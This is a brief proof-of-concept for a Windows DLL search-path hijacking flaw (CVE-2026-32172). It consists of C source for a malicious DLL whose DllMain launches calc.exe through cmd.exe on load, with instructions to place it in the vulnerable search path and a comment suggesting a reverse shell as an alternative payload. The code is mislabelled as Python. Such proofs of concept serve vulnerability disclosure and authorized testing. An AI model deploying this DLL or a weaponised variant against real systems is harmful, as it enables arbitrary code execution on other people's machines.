The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-32172: Uncontrolled Search Path Element
* This DLL demonstrates code execution when loaded by the vulnerable app.
* Compile as a shared library (DLL) and place in the uncontrolled search path.
*/
#include <windows.h>
#include <stdlib.h>
// DllMain entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code execution payload
// Example: Launching calc.exe to prove execution
WinExec("cmd.exe /c calc.exe", SW_SHOW);
// Alternatively, start a reverse shell or custom payload
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}